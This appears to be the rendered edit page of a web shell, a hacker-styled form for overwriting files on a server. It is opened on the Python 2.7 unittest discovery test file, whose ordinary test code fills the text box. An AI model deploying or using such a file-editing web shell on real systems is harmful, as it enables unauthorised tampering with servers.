

<div style='background:#0a0a0a; color:#00ff41; font-family:monospace; padding:20px; max-width:900px; margin:20px auto; border:1px solid #00ff41;'><h2 style='color:#ffcc80;'>✏ EDIT: test_discovery.py</h2><form method='post' action='?opcion=editar_guardar'><textarea name='contenido' rows='20' style='width:100%; background:#1a1a1a; color:#00ff41; border:1px solid #00ff41; font-family:monospace; padding:10px;'>import os
import re
import sys

import unittest
import unittest.test


class TestDiscovery(unittest.TestCase):

    # Heavily mocked tests so I can avoid hitting the filesystem
    def test_get_name_from_path(self):
        loader = unittest.TestLoader()

        loader._top_level_dir = &#039;/foo&#039;
        name = loader._get_name_from_path(&#039;/foo/bar/baz.py&#039;)
        self.assertEqual(name, &#039;bar.baz&#039;)

        if not __debug__:
            # asserts are off
            return

        with self.assertRaises(AssertionError):
            loader._get_name_from_path(&#039;/bar/baz.py&#039;)

    def test_find_tests(self):
        loader = unittest.TestLoader()

        original_listdir = os.listdir
        def restore_listdir():
            os.listdir = original_listdir
        original_isfile = os.path.isfile
        def restore_isfile():
            os.path.isfile = original_isfile
        original_isdir = os.path.isdir
        def restore_isdir():
            os.path.isdir = original_isdir

        path_lists = [[&#039;test1.py&#039;, &#039;test2.py&#039;, &#039;not_a_test.py&#039;, &#039;test_dir&#039;,
                       &#039;test.foo&#039;, &#039;test-not-a-module.py&#039;, &#039;another_dir&#039;],
                      [&#039;test3.py&#039;, &#039;test4.py&#039;, ]]
        os.listdir = lambda path: path_lists.pop(0)
        self.addCleanup(restore_listdir)

        def isdir(path):
            return path.endswith(&#039;dir&#039;)
        os.path.isdir = isdir
        self.addCleanup(restore_isdir)

        def isfile(path):
            # another_dir is not a package and so shouldn&#039;t be recursed into
            return not path.endswith(&#039;dir&#039;) and not &#039;another_dir&#039; in path
        os.path.isfile = isfile
        self.addCleanup(restore_isfile)

        loader._get_module_from_name = lambda path: path + &#039; module&#039;
        loader.loadTestsFromModule = lambda module: module + &#039; tests&#039;

        top_level = os.path.abspath(&#039;/foo&#039;)
        loader._top_level_dir = top_level
        suite = list(loader._find_tests(top_level, &#039;test*.py&#039;))

        expected = [name + &#039; module tests&#039; for name in
                    (&#039;test1&#039;, &#039;test2&#039;)]
        expected.extend([(&#039;test_dir.%s&#039; % name) + &#039; module tests&#039; for name in
                    (&#039;test3&#039;, &#039;test4&#039;)])
        self.assertEqual(suite, expected)

    def test_find_tests_with_package(self):
        loader = unittest.TestLoader()

        original_listdir = os.listdir
        def restore_listdir():
            os.listdir = original_listdir
        original_isfile = os.path.isfile
        def restore_isfile():
            os.path.isfile = original_isfile
        original_isdir = os.path.isdir
        def restore_isdir():
            os.path.isdir = original_isdir

        directories = [&#039;a_directory&#039;, &#039;test_directory&#039;, &#039;test_directory2&#039;]
        path_lists = [directories, [], [], []]
        os.listdir = lambda path: path_lists.pop(0)
        self.addCleanup(restore_listdir)

        os.path.isdir = lambda path: True
        self.addCleanup(restore_isdir)

        os.path.isfile = lambda path: os.path.basename(path) not in directories
        self.addCleanup(restore_isfile)

        class Module(object):
            paths = []
            load_tests_args = []

            def __init__(self, path):
                self.path = path
                self.paths.append(path)
                if os.path.basename(path) == &#039;test_directory&#039;:
                    def load_tests(loader, tests, pattern):
                        self.load_tests_args.append((loader, tests, pattern))
                        return &#039;load_tests&#039;
                    self.load_tests = load_tests

            def __eq__(self, other):
                return self.path == other.path

            # Silence py3k warning
            __hash__ = None

        loader._get_module_from_name = lambda name: Module(name)
        def loadTestsFromModule(module, use_load_tests):
            if use_load_tests:
                raise self.failureException(&#039;use_load_tests should be False for packages&#039;)
            return module.path + &#039; module tests&#039;
        loader.loadTestsFromModule = loadTestsFromModule

        loader._top_level_dir = &#039;/foo&#039;
        # this time no &#039;.py&#039; on the pattern so that it can match
        # a test package
        suite = list(loader._find_tests(&#039;/foo&#039;, &#039;test*&#039;))

        # We should have loaded tests from the test_directory package by calling load_tests
        # and directly from the test_directory2 package
        self.assertEqual(suite,
                         [&#039;load_tests&#039;, &#039;test_directory2&#039; + &#039; module tests&#039;])
        self.assertEqual(Module.paths, [&#039;test_directory&#039;, &#039;test_directory2&#039;])

        # load_tests should have been called once with loader, tests and pattern
        self.assertEqual(Module.load_tests_args,
                         [(loader, &#039;test_directory&#039; + &#039; module tests&#039;, &#039;test*&#039;)])

    def test_discover(self):
        loader = unittest.TestLoader()

        original_isfile = os.path.isfile
        original_isdir = os.path.isdir
        def restore_isfile():
            os.path.isfile = original_isfile

        os.path.isfile = lambda path: False
        self.addCleanup(restore_isfile)

        orig_sys_path = sys.path[:]
        def restore_path():
            sys.path[:] = orig_sys_path
        self.addCleanup(restore_path)

        full_path = os.path.abspath(os.path.normpath(&#039;/foo&#039;))
        with self.assertRaises(ImportError):
            loader.discover(&#039;/foo/bar&#039;, top_level_dir=&#039;/foo&#039;)

        self.assertEqual(loader._top_level_dir, full_path)
        self.assertIn(full_path, sys.path)

        os.path.isfile = lambda path: True
        os.path.isdir = lambda path: True

        def restore_isdir():
            os.path.isdir = original_isdir
        self.addCleanup(restore_isdir)

        _find_tests_args = []
        def _find_tests(start_dir, pattern):
            _find_tests_args.append((start_dir, pattern))
            return [&#039;tests&#039;]
        loader._find_tests = _find_tests
        loader.suiteClass = str

        suite = loader.discover(&#039;/foo/bar/baz&#039;, &#039;pattern&#039;, &#039;/foo/bar&#039;)

        top_level_dir = os.path.abspath(&#039;/foo/bar&#039;)
        start_dir = os.path.abspath(&#039;/foo/bar/baz&#039;)
        self.assertEqual(suite, &quot;[&#039;tests&#039;]&quot;)
        self.assertEqual(loader._top_level_dir, top_level_dir)
        self.assertEqual(_find_tests_args, [(start_dir, &#039;pattern&#039;)])
        self.assertIn(top_level_dir, sys.path)

    def test_discover_with_modules_that_fail_to_import(self):
        loader = unittest.TestLoader()

        listdir = os.listdir
        os.listdir = lambda _: [&#039;test_this_does_not_exist.py&#039;]
        isfile = os.path.isfile
        os.path.isfile = lambda _: True
        orig_sys_path = sys.path[:]
        def restore():
            os.path.isfile = isfile
            os.listdir = listdir
            sys.path[:] = orig_sys_path
        self.addCleanup(restore)

        suite = loader.discover(&#039;.&#039;)
        self.assertIn(os.getcwd(), sys.path)
        self.assertEqual(suite.countTestCases(), 1)
        test = list(list(suite)[0])[0] # extract test from suite

        with self.assertRaises(ImportError):
            test.test_this_does_not_exist()

    def test_command_line_handling_parseArgs(self):
        # Haha - take that uninstantiable class
        program = object.__new__(unittest.TestProgram)

        args = []
        def do_discovery(argv):
            args.extend(argv)
        program._do_discovery = do_discovery
        program.parseArgs([&#039;something&#039;, &#039;discover&#039;])
        self.assertEqual(args, [])

        program.parseArgs([&#039;something&#039;, &#039;discover&#039;, &#039;foo&#039;, &#039;bar&#039;])
        self.assertEqual(args, [&#039;foo&#039;, &#039;bar&#039;])

    def test_command_line_handling_do_discovery_too_many_arguments(self):
        class Stop(Exception):
            pass
        def usageExit():
            raise Stop

        program = object.__new__(unittest.TestProgram)
        program.usageExit = usageExit
        program.testLoader = None

        with self.assertRaises(Stop):
            # too many args
            program._do_discovery([&#039;one&#039;, &#039;two&#039;, &#039;three&#039;, &#039;four&#039;])


    def test_command_line_handling_do_discovery_uses_default_loader(self):
        program = object.__new__(unittest.TestProgram)

        class Loader(object):
            args = []
            def discover(self, start_dir, pattern, top_level_dir):
                self.args.append((start_dir, pattern, top_level_dir))
                return &#039;tests&#039;

        program.testLoader = Loader()
        program._do_discovery([&#039;-v&#039;])
        self.assertEqual(Loader.args, [(&#039;.&#039;, &#039;test*.py&#039;, None)])

    def test_command_line_handling_do_discovery_calls_loader(self):
        program = object.__new__(unittest.TestProgram)

        class Loader(object):
            args = []
            def discover(self, start_dir, pattern, top_level_dir):
                self.args.append((start_dir, pattern, top_level_dir))
                return &#039;tests&#039;

        program._do_discovery([&#039;-v&#039;], Loader=Loader)
        self.assertEqual(program.verbosity, 2)
        self.assertEqual(program.test, &#039;tests&#039;)
        self.assertEqual(Loader.args, [(&#039;.&#039;, &#039;test*.py&#039;, None)])

        Loader.args = []
        program = object.__new__(unittest.TestProgram)
        program._do_discovery([&#039;--verbose&#039;], Loader=Loader)
        self.assertEqual(program.test, &#039;tests&#039;)
        self.assertEqual(Loader.args, [(&#039;.&#039;, &#039;test*.py&#039;, None)])

        Loader.args = []
        program = object.__new__(unittest.TestProgram)
        program._do_discovery([], Loader=Loader)
        self.assertEqual(program.test, &#039;tests&#039;)
        self.assertEqual(Loader.args, [(&#039;.&#039;, &#039;test*.py&#039;, None)])

        Loader.args = []
        program = object.__new__(unittest.TestProgram)
        program._do_discovery([&#039;fish&#039;], Loader=Loader)
        self.assertEqual(program.test, &#039;tests&#039;)
        self.assertEqual(Loader.args, [(&#039;fish&#039;, &#039;test*.py&#039;, None)])

        Loader.args = []
        program = object.__new__(unittest.TestProgram)
        program._do_discovery([&#039;fish&#039;, &#039;eggs&#039;], Loader=Loader)
        self.assertEqual(program.test, &#039;tests&#039;)
        self.assertEqual(Loader.args, [(&#039;fish&#039;, &#039;eggs&#039;, None)])

        Loader.args = []
        program = object.__new__(unittest.TestProgram)
        program._do_discovery([&#039;fish&#039;, &#039;eggs&#039;, &#039;ham&#039;], Loader=Loader)
        self.assertEqual(program.test, &#039;tests&#039;)
        self.assertEqual(Loader.args, [(&#039;fish&#039;, &#039;eggs&#039;, &#039;ham&#039;)])

        Loader.args = []
        program = object.__new__(unittest.TestProgram)
        program._do_discovery([&#039;-s&#039;, &#039;fish&#039;], Loader=Loader)
        self.assertEqual(program.test, &#039;tests&#039;)
        self.assertEqual(Loader.args, [(&#039;fish&#039;, &#039;test*.py&#039;, None)])

        Loader.args = []
        program = object.__new__(unittest.TestProgram)
        program._do_discovery([&#039;-t&#039;, &#039;fish&#039;], Loader=Loader)
        self.assertEqual(program.test, &#039;tests&#039;)
        self.assertEqual(Loader.args, [(&#039;.&#039;, &#039;test*.py&#039;, &#039;fish&#039;)])

        Loader.args = []
        program = object.__new__(unittest.TestProgram)
        program._do_discovery([&#039;-p&#039;, &#039;fish&#039;], Loader=Loader)
        self.assertEqual(program.test, &#039;tests&#039;)
        self.assertEqual(Loader.args, [(&#039;.&#039;, &#039;fish&#039;, None)])
        self.assertFalse(program.failfast)
        self.assertFalse(program.catchbreak)

        Loader.args = []
        program = object.__new__(unittest.TestProgram)
        program._do_discovery([&#039;-p&#039;, &#039;eggs&#039;, &#039;-s&#039;, &#039;fish&#039;, &#039;-v&#039;, &#039;-f&#039;, &#039;-c&#039;],
                              Loader=Loader)
        self.assertEqual(program.test, &#039;tests&#039;)
        self.assertEqual(Loader.args, [(&#039;fish&#039;, &#039;eggs&#039;, None)])
        self.assertEqual(program.verbosity, 2)
        self.assertTrue(program.failfast)
        self.assertTrue(program.catchbreak)

    def setup_module_clash(self):
        class Module(object):
            __file__ = &#039;bar/foo.py&#039;
        sys.modules[&#039;foo&#039;] = Module
        full_path = os.path.abspath(&#039;foo&#039;)
        original_listdir = os.listdir
        original_isfile = os.path.isfile
        original_isdir = os.path.isdir

        def cleanup():
            os.listdir = original_listdir
            os.path.isfile = original_isfile
            os.path.isdir = original_isdir
            del sys.modules[&#039;foo&#039;]
            if full_path in sys.path:
                sys.path.remove(full_path)
        self.addCleanup(cleanup)

        def listdir(_):
            return [&#039;foo.py&#039;]
        def isfile(_):
            return True
        def isdir(_):
            return True
        os.listdir = listdir
        os.path.isfile = isfile
        os.path.isdir = isdir
        return full_path

    def test_detect_module_clash(self):
        full_path = self.setup_module_clash()
        loader = unittest.TestLoader()

        mod_dir = os.path.abspath(&#039;bar&#039;)
        expected_dir = os.path.abspath(&#039;foo&#039;)
        msg = re.escape(r&quot;&#039;foo&#039; module incorrectly imported from %r. Expected %r. &quot;
                &quot;Is this module globally installed?&quot; % (mod_dir, expected_dir))
        self.assertRaisesRegexp(
            ImportError, &#039;^%s$&#039; % msg, loader.discover,
            start_dir=&#039;foo&#039;, pattern=&#039;foo.py&#039;
        )
        self.assertEqual(sys.path[0], full_path)

    def test_module_symlink_ok(self):
        full_path = self.setup_module_clash()

        original_realpath = os.path.realpath

        mod_dir = os.path.abspath(&#039;bar&#039;)
        expected_dir = os.path.abspath(&#039;foo&#039;)

        def cleanup():
            os.path.realpath = original_realpath
        self.addCleanup(cleanup)

        def realpath(path):
            if path == os.path.join(mod_dir, &#039;foo.py&#039;):
                return os.path.join(expected_dir, &#039;foo.py&#039;)
            return path
        os.path.realpath = realpath
        loader = unittest.TestLoader()
        loader.discover(start_dir=&#039;foo&#039;, pattern=&#039;foo.py&#039;)

    def test_discovery_from_dotted_path(self):
        loader = unittest.TestLoader()

        tests = [self]
        expectedPath = os.path.abspath(os.path.dirname(unittest.test.__file__))

        self.wasRun = False
        def _find_tests(start_dir, pattern):
            self.wasRun = True
            self.assertEqual(start_dir, expectedPath)
            return tests
        loader._find_tests = _find_tests
        suite = loader.discover(&#039;unittest.test&#039;)
        self.assertTrue(self.wasRun)
        self.assertEqual(suite._tests, tests)


if __name__ == &#039;__main__&#039;:
    unittest.main()
</textarea><br><br><input type='hidden' name='archivo_editar' value='/lib64/python2.7/unittest/test/test_discovery.py'><input type='submit' value='[✓] SAVE' style='background:#00ff41; color:#0a0a0a; border:none; padding:10px 30px; font-family:monospace; cursor:pointer;'> <a href='?path=%2Flib64%2Fpython2.7%2Funittest%2Ftest' style='color:#858585; text-decoration:none; padding:10px 30px; border:1px solid #858585;'>[✗] CANCEL</a></form></div><div style='color:#00ff41; font-family:monospace; text-align:center; padding:20px;'>[~] Kerym Chaeceran</div>